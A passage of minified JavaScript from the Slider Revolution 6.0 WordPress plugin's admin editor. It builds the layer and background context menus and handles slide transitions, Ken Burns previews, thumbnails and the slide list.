data-type="behavior" data-rcevent="copylayersettings" data-title="Responsivity"><i class="material-icons">photo_size_select_large</i>Responsivity</div><div class="rc-menu-item rc-menu-single" data-type="timeline" data-rcevent="copylayersettings" data-title="Animation"><i class="material-icons">play_arrow</i>Animation</div><div class="rc-menu-item rc-menu-single" data-type="effects" data-rcevent="copylayersettings" data-title="On Scroll"><i class="material-icons">system_update_alt</i>On Scroll</div><div class="rc-menu-item rc-menu-single" data-type="actions" data-rcevent="copylayersettings" data-title="Actions"><i class="material-icons">touch_app</i>Actions</div></div></div><div id="rc_paste_layer" class="rc-menu-item" data-rcevent="paste"><i class="material-icons">file_download</i><span class="rc-menu-paste">Paste</span></div><div class="rc-menu-item" data-rcevent="duplicatelayer"><i class="material-icons">content_copy</i>Duplicate</div><div class="rc-menu-item" data-rcevent="deletelayer"><i class="material-icons">delete</i>Delete</div><div class="rc-menu-item" data-rcevent="hidelayer"><i class="material-icons">visibility</i>Show/Hide</div><div class="rc-menu-item" data-rcevent="locklayer"><i class="material-icons">lock_outline</i>Lock/Unlock</div><div class="rc-menu-item" data-rcevent="disable"><i class="material-icons">toggle_off</i>Disable Menu</div></div>').on("mouseleave",F),m=jQuery('<div class="tool_dd_wrap rc-menu-wrap" id="rc_bg_menu"><div class="rc-menu-item rc-menu-bg-edit" data-type="content" data-rcevent="editbg"><i class="material-icons">edit</i>Edit</div><div class="toolbar_dd_subdrop_wrap rc-menu-bg-edit" data-type="image"><div class="rc-menu-item"><i class="material-icons">edit</i>Edit</div><div class="toolbar_dd_subdrop"><div class="rc-menu-item" data-type="image" data-rcevent="editbg" data-title="Background"><i class="material-icons">style</i>Media Library</div><div class="rc-menu-item" data-type="objectlibrary" data-rcevent="editbg" data-title="Animation"><i class="material-icons">camera_enhance</i>Object Library</div></div></div><div class="toolbar_dd_subdrop_wrap"><div class="rc-menu-item"><i class="material-icons">content_paste</i>Copy</div><div class="toolbar_dd_subdrop"><div class="rc-menu-item" data-type="background" data-rcevent="copybg" data-title="Background"><i class="material-icons">color_lens</i>Background</div><div class="rc-menu-item" data-type="animation" data-rcevent="copybg" data-title="Animation"><i class="material-icons">invert_colors</i>Animation</div><div class="rc-menu-item" data-type="filter" data-rcevent="copybg" data-title="Filter"><i class="material-icons">blur_on</i>Filter</div><div class="rc-menu-item" data-type="onscroll" data-rcevent="copybg" data-title="On Scroll"><i class="material-icons">system_update_alt</i>On Scroll</div><div id="rc_menu_panzoom" class="rc-menu-item" data-type="panzoom" data-rcevent="copybg" data-title="Ken Burns"><i class="material-icons">leak_add</i>Ken Burns</div></div></div><div id="rc_paste_bg" class="rc-menu-item" data-rcevent="paste"><i class="material-icons">file_download</i><span class="rc-menu-paste">Paste</span></div><div class="rc-menu-item" data-rcevent="disable"><i class="material-icons">toggle_off</i>Disable Menu</div></div>').on("mouseleave",F),o=S.find("#rc_paste_layer"),V=m.find("#rc_paste_bg");var e=jQuery(document.body).on("click.rcmenu",".rc-menu-item:not(.rc-menu-title)",b).on("click.rcmenu",D);jQuery("#main_hor_toolbar, #the_right_toolbar, #timeline_settings").on("mouseover.rcmenu",F),e.append(S).append(m),t=jQuery(".rc-menu-single"),i=t.parents(".toolbar_dd_subdrop_wrap"),n=jQuery(".rc-menu-paste"),y=jQuery("#rc_menu_panzoom"),f=RVS.WIN.on("resize.rcmenu",F),l=!0}(),jQuery(this).hasClass("_lc_")?(m.hide(),function(){var e=this.className.split("_lc_type_");e=-1!==(e=e[1].split(" ")[0]).search(/text|button|video|audio/)?"content":"image"===e&&"image",jQuery(".rc-menu-layer-edit").hide(),e&&jQuery('.rc-menu-layer-edit[data-type="'+e+'"').show(),r?(o.removeClass("disabled"),n.text(s)):(o.addClass("disabled"),n.text("Paste"))}.call(this),e=S.removeClass(I),a=RVS.selLayers&&1===RVS.selLayers.length?"removeClass":"addClass",t[a]("disabled"),i[a]("disabled")):(S.hide(),function(){jQuery(".rc-menu-bg-edit").hide();var e="image"===RVS.SLIDER[RVS.S.slideId].slide.bg.type?"image":"content";e&&jQuery('.rc-menu-bg-edit[data-type="'+e+'"]').show(),!0===r||p?(V.removeClass("disabled"),n.text(s)):(V.addClass("disabled"),n.text("Paste"))}(),e=m.removeClass(I),c=RVS.SLIDER[RVS.S.slideId].slide.bg.type,y[a="image"===c||"external"===c?"show":"hide"]()),R.pageX<f.width()-e.width()-h?L=R.pageX+v:(L=R.pageX-e.width()-v,u="rc-align-right"),R.pageY<f.height()-e.height()-g?w=R.pageY+v:(w=R.pageY-e.height()-v,_="rc-align-bottom"),u&&e.addClass(u),_&&e.addClass(_),e.css({left:L,top:w}).show(),d=!0,R=!1}jQuery(document.body).on("contextmenu.rcmenu",".layer_grid, ._lc_",function(t){if(R)return!1;e=this,R=t;var i=jQuery(this);return i.hasClass("_lc_")&&!i.hasClass("selected")?(RVS.DOC.one("layerselectioncomplete.rcmenu",x),i.trigger("click"),!1):(C.call(this),!1)})}),
/*!
 * REVOLUTION 6.0.0 EDITOR SLIDE JS
 * @version: 1.0 (01.07.2019)
 * @author ThemePunch
*/
function(){var e,t,i='<div class="the_layers_in_slide" id="the_layers_in_slide_###">';function a(e){var t=jQuery("#slide_list_element_"+e.id);e.openclose?t.hasClass("opened_slidetab")?t.removeClass("opened_slidetab"):(jQuery(".slide_list_element.sortable_slide_list_element").removeClass("opened_slidetab"),t.addClass("opened_slidetab"),RVS.S.slideId!==e.id&&RVS.F.setSlideFocus({slideid:e.id})):RVS.S.slideId!==e.id&&RVS.F.setSlideFocus({slideid:e.id}),"mode__slidelayout"!==RVS.S.vWmode&&RVS.F.mainMode({mode:"slidelayout",set:!1}),RVS.F.showHideLayerEditor({mode:"slidelayout"}),setTimeout(function(){RVS.DOC.trigger("sliderSizeChanged"),RVS.DOC.trigger("device_area_availibity")},500)}function r(e){return'<div class="slide_anim_alternates"><div class="remove_altslide basic_action_button leftbutton onlyicon" data-index="'+e+'"><i class="material-icons">delete</i></div><div class="slide_alt_slide"><label_a>'+(parseInt(e)+2)+"."+RVS_LANG.transition+'</label_a><select class="slideinput tos2 searchbox easyinit slideAnimSelect" data-theme="wideopentos2" data-r="slideChange.alt.'+e+'"></select></div></div>'}function s(t){!1!==e.hovered&&!0!==t.force||(tpGS.gsap.set(e.done,{width:t.left}),t.auto&&tpGS.gsap.set(e.pin,{left:t.left}))}function o(e){e=void 0===e?{id:RVS.S.slideId,target:["#admin_purpose_thumbnail, #slide_list_element_"+RVS.S.slideId+" .sle_thumb"],default:!0}:e;var t=RVS.SLIDER[e.id].slide.thumb.customAdminThumbSrc,i=RVS.SLIDER[e.id].slide.thumb.customThumbSrc;if(null===t||null==t||void 0===t||t.length<3){var a=RVS.F.getSlideBGDrawObj(e);""===a.backgroundImage&&"transparent"===a.backgroundColor&&(a.backgroundImage="url("+RVS.ENV.plugin_url+"admin/assets/images/trans_tile.png)",a.backgroundSize="16px",a["background-size"]="16px",a.backgroundRepeat="repeat"),void 0!==e.target&&void 0!==e.target[0]&&tpGS.gsap.set(e.target,a)}else tpGS.gsap.set(e.target,{"background-size":"cover",backgroundPosition:"center center",backgroundRepeat:"no-repeat",backgroundImage:"url("+t+")"});e.default&&(void 0===i||i.length<3||"/"===i[i.length-1]?tpGS.gsap.set(["#navigation_purpose_thumbnail","#thumbs_"+e.id,"#tabs_"+e.id,"#bullets_"+e.id,"#arrow_"+e.id],RVS.F.getSlideBGDrawObj()):tpGS.gsap.set(["#navigation_purpose_thumbnail","#thumbs_"+e.id,"#tabs_"+e.id,"#bullets_"+e.id,"#arrow_"+e.id],{"background-size":"cover",backgroundPosition:"center center",backgroundRepeat:"no-repeat",backgroundImage:"url("+i+")"}))}function n(){var e={},t=1;for(var i in RVS.SLIDER.slideIDs)RVS.SLIDER.slideIDs.hasOwnProperty(i)&&(e[RVS.SLIDER.slideIDs[i]]=t,!RVS.F.isNumeric(RVS.SLIDER.slideIDs[i])&&-1!=RVS.SLIDER.slideIDs[i].indexOf("static")||void 0===RVS.SLIDER[RVS.SLIDER.slideIDs[i]]||void 0===RVS.SLIDER[RVS.SLIDER.slideIDs[i]].slide||void 0===RVS.SLIDER[RVS.SLIDER.slideIDs[i]].slide.child||null!=RVS.SLIDER[RVS.SLIDER.slideIDs[i]].slide.child.parentId&&""!=RVS.SLIDER[RVS.SLIDER.slideIDs[i]].slide.child.parentId||t++);for(var i in e)if(e.hasOwnProperty(i)){var a=document.getElementById("slide_list_element_title_index_"+i);null!=a&&(a.innerHTML="#"+e[i]+" ")}}function l(e){return"object"!=typeof e||Array.isArray(e)||(void 0===e[0]||"string"!=typeof e[0]&&"number"!=typeof e[0])&&(void 0===e[1]||"string"!=typeof e[1]&&"number"!=typeof e[1])||(e=Object.values(e)),e}function d(e){return e=void 0===e?["default"]:e,Array.isArray(e)&&"object"!=typeof e[0]?e:"object"==typeof e[0]?Object.values(e[0]):[e]}function S(e,t,i,a){var r=RVS.F.createPresets({modern:!0,icon:e.icon,eclass:e.eclass,groupid:i,groupclass:"slide_trans_templates",maingrpclass:"slide_trans_mains",title:t,customevt:"slide_ajax_calls",groups:e,ref:a,favoriteAjax:"slide_transitions",favoriteList:RVS.LIB.SLTR_FAVORIT,onclick:function(e,t,i,a,r,s){c("true"==t||1==t?{preset:RVS.LIB.SLTR_CUSTOM[e.replace("custom_","")].preset,customkey:e}:{key:e,main:i,sub:a}),RVS.DOC.trigger("showhidetransitions"),RVS.F.updateSlideFrames(),RVS.F.udpateSelectedSlideAnim(),RVS.F.updateSlideAnimationView()}});RVS.S.ATI.append(r.main),RVS.S.ATIR.append(r.inner)}function c(e){var t=m(e);RVS.F.openBackupGroup({id:"slide_transition",txt:"Slide Transition Change",icon:"calendar_view_day"}),RVS.F.backup({path:RVS.S.slideId+".slide.slideChange",val:t,old:jQuery.extend(!0,{},RVS.SLIDER[RVS.S.slideId].slide.slideChange),backupType:"object",mode:"slidetransition",callBack:function(){RVS.F.updateEasyInputs({container:jQuery("#form_slide_transition"),path:RVS.S.slideId+".slide.",trigger:"init"})}}),RVS.SLIDER[RVS.S.slideId].slide.slideChange=jQuery.extend(!0,{},RVS.SLIDER[RVS.S.slideId].slide.slideChange,t),RVS.F.closeBackupGroup({id:"slide_transition"}),RVS.F.updateEasyInputs({container:jQuery("#form_slide_transition"),path:RVS.S.slideId+".slide.",trigger:"init"}),RVS.F.redrawSlideBG()}function p(e,t){RVS.C.slide.find(".slots_wrapper").attr("class","slots_wrapper "+t)}function R(e,t,i){switch(e){case"slide_bg_color":RVS.F.redrawSlideBG({liveColorChange:!0,backgroundColor:t})}}function u(e,t,i,a,r,s){var o=!1;if(void 0!==t?window.lastColorEditjObj=jQuery(t):(void 0!==window.lastColorEditjObj&&(i=window.RSColor.get(window.lastColorEditjObj.val())),o=!0),void 0!==i&&(R(window.lastColorEditjObj[0].name,i),s&&!0!==o))for(var n in s.ref)if("slide"===s.ref[n].type&&s.ref[n].slide===RVS.S.slideId&&R(s.ref[n].inpname,i),"slide"===s.ref[n].type&&r)if(RVS.F.updateSliderObj({path:s.ref[n].r,val:i}),s.ref[n].slide===RVS.S.slideId){var l=jQuery("input[name="+s.ref[n].inpname+"]");l.length>0&&(l[0].value=i,l.rsColorPicker("refresh"))}else RVS.F.slideinWork(s.ref[n].slide)}function V(e){RVS.SLIDER[RVS.S.slideId].slide.panzoom.set?(jQuery("#slide_bg_settings_wrapper").appendTo(jQuery("#ken_burn_bg_setting_on")),jQuery("#internal_kenburn_settings").hide(),jQuery("#kenburnissue").hide()):(jQuery("#slide_bg_settings_wrapper").appendTo(jQuery("#ken_burn_bg_setting_off")),RVS.SBGS[RVS.S.slideId].n.canvas.style.filter="none",void 0!==RVS.TL[RVS.S.slideId]&&null!=RVS.TL[RVS.S.slideId].panzoom&&(RVS.TL[RVS.S.slideId].panzoom.pause().kill(),RVS.TL[RVS.S.slideId].panzoom=void 0,RVS.SBGS[RVS.S.slideId].n.panzoom=void 0)),!0!==e&&RVS.F.redrawSlideBG()}function y(t){var i;if("image"!==RVS.SLIDER[RVS.S.slideId].slide.bg.type&&"external"!==RVS.SLIDER[RVS.S.slideId].slide.bg.type&&(RVS.SLIDER[RVS.S.slideId].slide.panzoom.set=!1),RVS.SLIDER[RVS.S.slideId].slide.panzoom.set){if(("image"!==RVS.SBGS[RVS.S.slideId].n.type||"loaded"===RVS.SBGS[RVS.S.slideId].n.loadobj.progress)&&"loaded"===RVS.SBGS[RVS.S.slideId].c.loadobj.progress){var a=0,r=0,o=!1;void 0!==RVS.TL[RVS.S.slideId].panzoom&&(r=RVS.TL[RVS.S.slideId].panzoom.time(),a=RVS.TL[RVS.S.slideId].panzoom.progress(),o=RVS.TL[RVS.S.slideId].panzoom.isActive(),RVS.TL[RVS.S.slideId].panzoom.kill()),RVS.SBGS[RVS.S.slideId].n.panzoom=!0,RVS.SBGS[RVS.S.slideId].n.panvalues=(i=RVS.SLIDER[RVS.S.slideId].slide.panzoom,{duration:parseInt(i.duration)/1e3,ease:i.ease,scalestart:parseInt(i.fitStart)/100,scaleend:parseInt(i.fitEnd)/100,rotatestart:parseFloat(i.rotateStart),rotateend:parseFloat(i.rotateEnd),blurstart:i.blurStart,blurend:i.blurEnd,offsetstart:[i.xStart,i.yStart],offsetend:[i.xEnd,i.yEnd]}),RVS._R.startPanZoom(RVS.SBGS[RVS.S.slideId].n,void 0,.01,RVS.SBGS[RVS.S.slideId].n.skeyindex,"prepare"),RVS.TL[RVS.S.slideId].panzoom.render(r,!0,!0),e.containerWidth=void 0===e.containerWidth?e.container.width():e.containerWidth,s({left:a*(e.containerWidth-e.pinWidth),auto:!0}),RVS.TL[RVS.S.slideId].panzoom.eventCallback("onUpdate",function(){e.containerWidth=void 0===e.containerWidth?e.container.width():e.containerWidth,s({left:RVS.TL[RVS.S.slideId].panzoom.progress()*(e.containerWidth-e.pinWidth),auto:!0})}),RVS.TL[RVS.S.slideId].panzoom.eventCallback("onComplete",function(){RVS.F.changeSwitchState({el:jQuery("#kenburn_simulator")[0],state:"play"}),RVS.TL[RVS.S.slideId].panzoom.pause()}),o&&RVS.TL[RVS.S.slideId].panzoom.play()}}else delete RVS.SBGS[RVS.S.slideId].n.panzoom}function m(e){var t=void 0!==e.preset?jQuery.extend(!0,RVS._R.getSlideAnim_EmptyObject(),e.preset):void 0!==e.key&&void 0!==RVS._R.getAnimObjectByKey(e.key,RVS.LIB.SLTR)?jQuery.extend(!0,{},RVS._R.getSlideAnim_EmptyObject(),RVS._R.getAnimObjectByKey(e.key,RVS.LIB.SLTR)):RVS._R.getSlideAnim_EmptyObject();return void 0!==e.slot&&(t.in.col=t.in.row=e.slot),t.speed=Math.round(t.speed),t.preset=void 0!==e.key?e.key:void 0!==e.customkey?e.customkey:"custom",t}function f(e,t){return null==e?t:e}i+='\t\t<div class="resizeMainLayerListWrap" id="resizeMainLayerListWrap_###">',i+='\t\t\t<div class="mainLayerListWrap" id="mainLayerListWrap_###">',i+="\t\t\t</div>",i+="\t\t</div>",i+="\t</div>",RVS.LIB=void 0===RVS.LIB?RVS.LIB={}:RVS.LIB,RVS.F.initSlideBuilder=function(){t=jQuery("#slide_thumb_repeater"),RVS.DOC.on("mouseenter",".slide_list_element",function(){t[0].innerHTML="",RVS.SLIDER.settings.general.useWPML?jQuery("#slide_thumb_repeater").append(jQuery(this).find(".sle_thumb").clone()):jQuery("#slide_thumb_repeater").append(jQuery(this).find(".sle_thumb").first().clone()),t.show()}),RVS.DOC.on("mouseleave",".slide_list_element",function(){t[0].innerHTML=""}),function(){RVS.LIB.SLTR_CUSTOM=void 0===RVS.LIB.SLTR_CUSTOM?{}:RVS.LIB.SLTR_CUSTOM;var e={};for(var t in RVS.S.ATI=jQuery("#active_transitions_innerwrap"),RVS.S.ATIR=jQuery("#active_transitions_innerwrap_results"),RVS.JHOOKS.extendSlideAnimationList)RVS.JHOOKS.extendSlideAnimationList.hasOwnProperty(t)&&RVS.JHOOKS.extendSlideAnimationList[t]();for(var i in RVS.LIB.SLTR)if(RVS.LIB.SLTR.hasOwnProperty(i))for(var a in e[i]=void 0===e[i]?{}:e[i],RVS.LIB.SLTR[i])if(RVS.LIB.SLTR[i].hasOwnProperty(a))if("noSubLevel"===a)e[i].noSubLevel=RVS.LIB.SLTR[i].noSubLevel;else if("icon"==a)e[i].icon=RVS.LIB.SLTR[i].icon;else if("eclass"==a)e[i].eclass=RVS.LIB.SLTR[i].eclass;else if(RVS.LIB.SLTR[i].noSubLevel)e[i][i]=void 0===e[i][i]?{title:void 0===RVS_LANG["sltr_"+i]?i:RVS_LANG["sltr_"+i],elements:{}}:e[i][i],e[i][i].elements[a]={title:RVS.LIB.SLTR[i][a].title,grp:a,main:i},void 0!==RVS.LIB.SLTR[i][a].rndgrp&&(e[i][i].elements[a].rndgrp=RVS.LIB.SLTR[i][a].rndgrp),void 0!==RVS.LIB.SLTR[i][a].rndmain&&(e[i][i].elements[a].rndmain=RVS.LIB.SLTR[i][a].rndmain);else for(var r in e[i][a]=void 0===e[i][a]?{title:void 0===RVS_LANG["sltr_"+a]?a:RVS_LANG["sltr_"+a],elements:{}}:e[i][a],RVS.LIB.SLTR[i][a])"icon"!==r&&RVS.LIB.SLTR[i][a].hasOwnProperty(r)&&(e[i][a].elements[r]={title:RVS.LIB.SLTR[i][a][r].title,grp:a,main:i});var s=0;for(i in e)e.hasOwnProperty(i)&&S(e[i],void 0===RVS_LANG["sltr_"+i]?i:RVS_LANG["sltr_"+i],"slide_trans_templates"+s++,i);S({icon:"tune",custom:{title:RVS_LANG.customtransitionpresets,elements:RVS.LIB.SLTR_CUSTOM,custom:!0}},RVS_LANG.customtemplates,"slide_trans_templates_custom","custom"),function(){var e=jQuery(".transgroup.selected").data("group");jQuery(".inner_transitions").hide(),jQuery(".inner_transitions."+e).show(),RVS.F.udpateSelectedSlideAnim()}()}(),RVS.DOC.on("changeflags",RVS.F.changeFlags),RVS.DOC.on("click",".remove_altslide",function(){var e=RVS.SLIDER[RVS.S.slideId].slide.slideChange.alt.join(",").split(",");RVS.SLIDER[RVS.S.slideId].slide.slideChange.alt.splice(this.dataset.index,1),RVS.F.openBackupGroup({id:"slide_transition",txt:"Slide Transition Change",icon:"calendar_view_day"}),RVS.F.backup({path:RVS.S.slideId+".slide.slideChange.alt",val:RVS.SLIDER[RVS.S.slideId].slide.slideChange.alt,old:e,backupType:"array",mode:"slidealttransition",callBack:function(){}}),RVS.F.closeBackupGroup({id:"slide_transition"}),RVS.F.updateAlternateSlideAnims()}),RVS.DOC.on("addslidetransition",function(){RVS.SLIDER[RVS.S.slideId].slide.slideChange.alt=void 0===RVS.SLIDER[RVS.S.slideId].slide.slideChange.alt?[]:RVS.SLIDER[RVS.S.slideId].slide.slideChange.alt,RVS.SLIDER[RVS.S.slideId].slide.slideChange.alt.push("");var e=jQuery(r(RVS.SLIDER[RVS.S.slideId].slide.slideChange.alt.length-1));RVS.C.altslcon.append(e),e.find(".slideAnimSelect").each(function(){RVS.F.createSlideAnimOptions(this),jQuery(this).ddTP({placeholder:"Enter or Select"})})}),RVS.DOC.on("updateSlideAnimationView",RVS.F.updateSlideAnimationView),RVS.DOC.on("updateSlideAnimation",function(e,t){void 0!==t&&("tocustom"===t.eventparam&&RVS.F.setSlideAnimPresetToCustom(),RVS.F.redrawSlideBG())}),RVS.DOC.on("updateSlideAnimationFavoits",function(e,t){void 0!==t&&(RVS.F.showHidePresetFavorits(RVS.LIB.SLTR_FAVORIT,"slide_trans_mains"),RVS.SLIDER[RVS.S.slideId].slide.slideChange.favorit?(RVS.S.ATI[0].classList.add("showonlyfavoritpresets"),RVS.S.ATIR[0].classList.add("showonlyfavoritpresets")):(RVS.S.ATI[0].classList.remove("showonlyfavoritpresets"),RVS.S.ATIR[0].classList.remove("showonlyfavoritpresets")))}),RVS.DOC.on("colrowslideanimchange",function(e,t){if(void 0!==t&&void 0!==t.eventparam){var i=t.eventparam.indexOf("in.")>=0?"in":"out",a=t.eventparam.indexOf(".col")>=0?"col":"row",r="row"===a?"col":"row";if(parseInt(RVS.SLIDER[RVS.S.slideId].slide.slideChange[i].col)*parseInt(RVS.SLIDER[RVS.S.slideId].slide.slideChange[i].row)>1e3&&(RVS.SLIDER[RVS.S.slideId].slide.slideChange[i][r]=Math.floor(1e3/parseInt(RVS.SLIDER[RVS.S.slideId].slide.slideChange[i][a])),document.getElementById("sltrans_"+i+"_"+r).value=RVS.SLIDER[RVS.S.slideId].slide.slideChange[i][r]),RVS.JHOOKS.extendSlideAnimationRowCol)for(var s in RVS.JHOOKS.extendSlideAnimationRowCol)RVS.JHOOKS.extendSlideAnimationRowCol.hasOwnProperty(s)&&RVS.JHOOKS.extendSlideAnimationRowCol[s](i,a,r)}RVS.F.setSlideAnimPresetToCustom(),RVS.F.redrawSlideBG()}),RVS.DOC.on("click",".editslide",function(){return a({id:this.dataset.id}),!1}),RVS.DOC.on("showLastEditedSlideStatic",function(){jQuery(".showunderstatic").removeClass("showunderstatic"),RVS.SLIDER[RVS.S.slideId].slide.static.isstatic&&void 0!==RVS.S.lastShownSlideId&&(RVS.SLIDER[RVS.S.slideId].slide.static.lastEdited?(jQuery("#slide_"+RVS.S.lastShownSlideId).addClass("showunderstatic"),jQuery("#slide_"+RVS.S.lastShownSlideId).find("._lc_.selected").removeClass("selected"),setTimeout(function(){jQuery("#slide_"+RVS.S.slideId).addClass("hideslotsinslide")},200)):jQuery("#slide_"+RVS.S.slideId).removeClass("hideslotsinslide"))}),RVS.DOC.on("click",".open_close_slide",function(){return a({id:this.dataset.id,openclose:!0}),!1}),RVS.DOC.on("click",".added_slide_transition",function(){jQuery(".added_slide_transition.selected").removeClass("selected"),this.className=this.className+" selected",RVS.S.slideTrans=jQuery(this).index(),RVS.F.updateEasyInputs({container:jQuery("#active_transitions_settings"),path:RVS.S.slideId+".slide.",trigger:"init"}),RVS.F.updateSlideFrames()}),RVS.DOC.on("click",".transition-replace",function(){RVS.DOC.trigger("showhidetransitions")}),RVS.DOC.on("mouseenter mouseleave","#active_transitions_innerwrap_results .presetelement.dark_btn, #active_transitions_innerwrap_results .presets_listelement.dark_btn",function(e){clearTimeout(window.backToDefaultAnimationTimer),RVS.S.demoSlideAnim="mouseenter"===e.type?{key:"true"==this.dataset.custom&&void 0!==this.dataset&&void 0!==this.dataset.key?this.dataset.key.replace("custom_",""):""+this.dataset.rndgrp!="undefined"||""+this.dataset.rndmain!="undefined"?RVS._R.getRandomSlideTrans(this.dataset.rndmain,this.dataset.rndgrp,RVS.LIB.SLTR):this.dataset.key,preset:"true"==this.dataset.custom?jQuery.extend(!0,{},RVS.LIB.SLTR_CUSTOM[this.dataset.key.replace("custom_","")].preset):void 0}:void 0,window.backToDefaultAnimationTimer=setTimeout(RVS.F.showExampleOrSelectedSlideAnim,"mouseenter"===e.type?200:0)}),RVS.DOC.on("updateslidebasic",RVS.F.redrawSlideBG),RVS.DOC.on("updateslidebasicmpeg",function(){RVS.F.videoExtract.get(RVS.SLIDER[RVS.S.slideId].slide.bg.mpeg,function(e){RVS.F.setBGPosterImage(e.path,e.id,"slide"),RVS.F.redrawSlideBG()},RVS.SLIDER[RVS.S.slideId].slide.bg.video.startAt,"slide")}),RVS.DOC.on("coloredit colorcancel",u),RVS.DOC.on("showSlideFilter",p),RVS.DOC.on("updateKenBurnBasics",function(){V()}),RVS.DOC.on("updateKenBurnSettings",function(){y(!0)}),RVS.DOC.on("previewKenBurn",function(){RVS.TL[RVS.S.slideId].panzoom.play()}),RVS.DOC.on("previewStopKenBurn",function(){RVS.TL[RVS.S.slideId].panzoom.pause()}),RVS.DOC.on("rewindKenBurn",function(){RVS.TL[RVS.S.slideId].panzoom.progress(0).pause()}),RVS.DOC.on("beforeLayoutModeChange accordionaction",function(){RVS.F.updateTimeLine({state:"stop",timeline:"panzoom"}),RVS.F.changeSwitchState({el:jQuery("#kenburn_simulator")[0],state:"play"})}),RVS.DOC.on("updateslidethumbs",function(){o()}),RVS.DOC.on("resetslideadminthumb",function(e,t){RVS.F.updateSliderObj({path:RVS.S.slideId+"."+t,val:""}),o()}),RVS.DOC.on("changeToLayerMode",function(){RVS.F.showHideLayerEditor({mode:"slidecontent"})}),RVS.DOC.on("changeToSlideMode",function(){RVS.F.showHideLayerEditor({mode:"slidelayout"})}),RVS.DOC.on("windowresized",RVS.F.redrawSlideBG),RVS.DOC.on("sliderSizeChanged",RVS.F.redrawSlideBG),RVS.DOC.on("showhidetransitions",function(){var e=jQuery("#transition_selector");e.is(":visible")?e.hide():e.show()}),RVS.DOC.on("updateSlideNameInList",function(){jQuery("#slide_list_element_title_"+RVS.S.slideId).html(RVS.SLIDER[RVS.S.slideId].slide.title)}),RVS.DOC.on("click","#do_edit_slidename",function(){jQuery("#slide_title_field").trigger("focus")}),RVS.DOC.on("slide_ajax_calls",function(e,t){var i;"overwrite"!==t.mode&&"create"!==t.mode||(i=jQuery.extend(!0,{},RVS.SLIDER[RVS.S.slideId].slide.slideChange)),"overwrite"!==t.mode&&"rename"!=t.mode||t.pl.data("key"),"rename"===t.mode&&(i=RVS.LIB.SLTR_CUSTOM[t.key].preset,RVS.LIB.SLTR_CUSTOM[t.key].title=t.newname),"delete"===t.mode?RVS.F.ajaxRequest("delete_custom_templates_slidetransitions",{id:t.key.replace("custom_","")},function(e){e.success&&(delete RVS.LIB.SLTR_CUSTOM[t.key],t.pl.remove())}):RVS.F.ajaxRequest("save_custom_templates_slidetransitions",{id:t.key,obj:{title:t.newname,preset:i}},function(e){e.success&&(RVS.LIB.SLTR_CUSTOM[e.data.id]={title:t.newname,preset:i},"create"===t.mode&&(t.element[0].dataset.key=e.data.id),"rename"===t.mode&&t.pl.find(".cla_custom_name").text(t.newname))})}),(e={container:jQuery("#kenburn_timeline")}).pin=e.container.find(".pz_pin"),e.done=e.container.find(".pz_timedone"),e.pinWidth=9,e.hovered=!1,e.pin.draggable({axis:"x",containment:"parent",start:function(t,i){e.container.addClass("indrag"),e.containerWidth=e.container.width()},stop:function(t,i){e.container.removeClass("indrag")},drag:function(t,i){s({left:i.position.left,force:!0}),RVS.F.updateTimeLine({state:"progress",timeline:"panzoom",prgs:i.position.left/(e.containerWidth-e.pinWidth)})}}),e.container.on("mouseenter",function(){e.hovered=!0,e.laststate=RVS.F.updateTimeLine({state:"getstate",timeline:"panzoom"}),RVS.F.updateTimeLine({state:"pause",timeline:"panzoom"})}).on("mouseleave",function(){e.hovered=!1,e.laststate&&RVS.F.updateTimeLine({state:"play",timeline:"panzoom"})})},RVS.F.changeFlags=function(e){e=RVS.SLIDER[RVS.S.slideId].slide.child,document.getElementById(RVS.S.slideId+"_flag_source").innerHTML=RVS.SLIDER.settings.general.useWPML&&"undefined"!=typeof RS_WPML_LANGS&&void 0!==RS_WPML_LANGS&&void 0!==e&&void 0!==e.language&&""!==e.language&&!1!==e.language&&void 0!==RS_WPML_LANGS[e.language]?'<span class="wpml_flag_wrap"><img src="'+RS_WPML_LANGS[e.language].image+'" class="wpml-img-flag" /></span>':""},RVS.F.addToSlideList=function(e){RVS.SLIDER.settings.general.useWPML&&RVS.F.updateEasyInputs({container:jQuery("#form_slidergeneral_general_usewpml"),trigger:"init"});var t=i.split("###").join(RVS.S.slideId),a=RVS.SLIDER[e.id].slide,r=RVS.SLIDER.settings.general.useWPML&&"undefined"!=typeof RS_WPML_LANGS&&void 0!==RS_WPML_LANGS&&void 0!==a.child&&void 0!==a.child.language&&""!==a.child.language&&!1!==a.child.language&&void 0!==RS_WPML_LANGS[a.child.language]?'<span id="'+e.id+'_flag_source" class="flag_container aaa"><span class="wpml_flag_wrap"><img src="'+RS_WPML_LANGS[a.child.language].image+'" class="wpml-img-flag" /></span></span>':'<span id="'+e.id+'_flag_source" class="flag_container bbb"></span>',s="undefined"!=typeof RS_WPML_LANGS&&void 0!==RS_WPML_LANGS?'<div class="addchildslide" data-id="'+e.id+'"><i class="material-icons">playlist_add</i></div>':"",n=a.static.isstatic?jQuery('<div id="slide_list_element_'+e.id+'" class="do_not_sort_slide_list_element slide_list_element static-slide-btn" data-ref="'+e.id+'"><div class="sle_description"><i class="material-icons">layers</i>'+a.title+"</div></div>"):void 0===a.child||void 0===a.child.parentId||""===a.child.parentId||0===a.child.parentId.length||!1===a.child.parentId?jQuery('<li id="slide_list_element_'+e.id+'" class="slide_list_element sortable_slide_list_element" data-ref="'+e.id+'"><div class="slide_elemenet_content"><div class="sle_thumb"></div><div class="sle_description"><i class="material-icons">swap_vert</i>'+r+'<span id="slide_list_element_title_index_'+e.id+'"></span><span id="slide_list_element_title_'+e.id+'">'+a.title+'</span></div><div class="slidetab_toolbox"><div id="publish_toggle_icon_'+e.id+'" class="'+a.publish.state+'slide"><i class="publishedicon material-icons">visibility</i><i class="unpublishedicon material-icons">visibility_off</i></div><div class="deleteslide"><i class="material-icons">delete</i></div><div class="duplicateslide"><i class="material-icons">content_copy</i></div><div class="editslide" data-id="'+e.id+'" ><i class="material-icons">settings</i></div>'+s+"</div>"+t+'</div><div id="slide_list_element_childwrap_'+e.id+'" class="slide_list_child_element_wrap"></div></li>'):jQuery('<li id="slide_list_element_'+e.id+'" class="slide_list_child_element" data-ref="'+e.id+'"><div class="sle_thumb"></div><div class="slide_elemenet_content"><div class="sle_description">'+r+'<span id="slide_list_element_title_'+e.id+'">'+a.title+'</span></div><div class="slidetab_toolbox"><div id="publish_toggle_icon_'+e.id+'" class="'+a.publish.state+'slide"><i class="publishedicon material-icons">visibility</i><i class="unpublishedicon material-icons">visibility_off</i></div><div class="deleteslide"><i class="material-icons">delete</i></div><div class="editslide" data-id="'+e.id+'" ><i 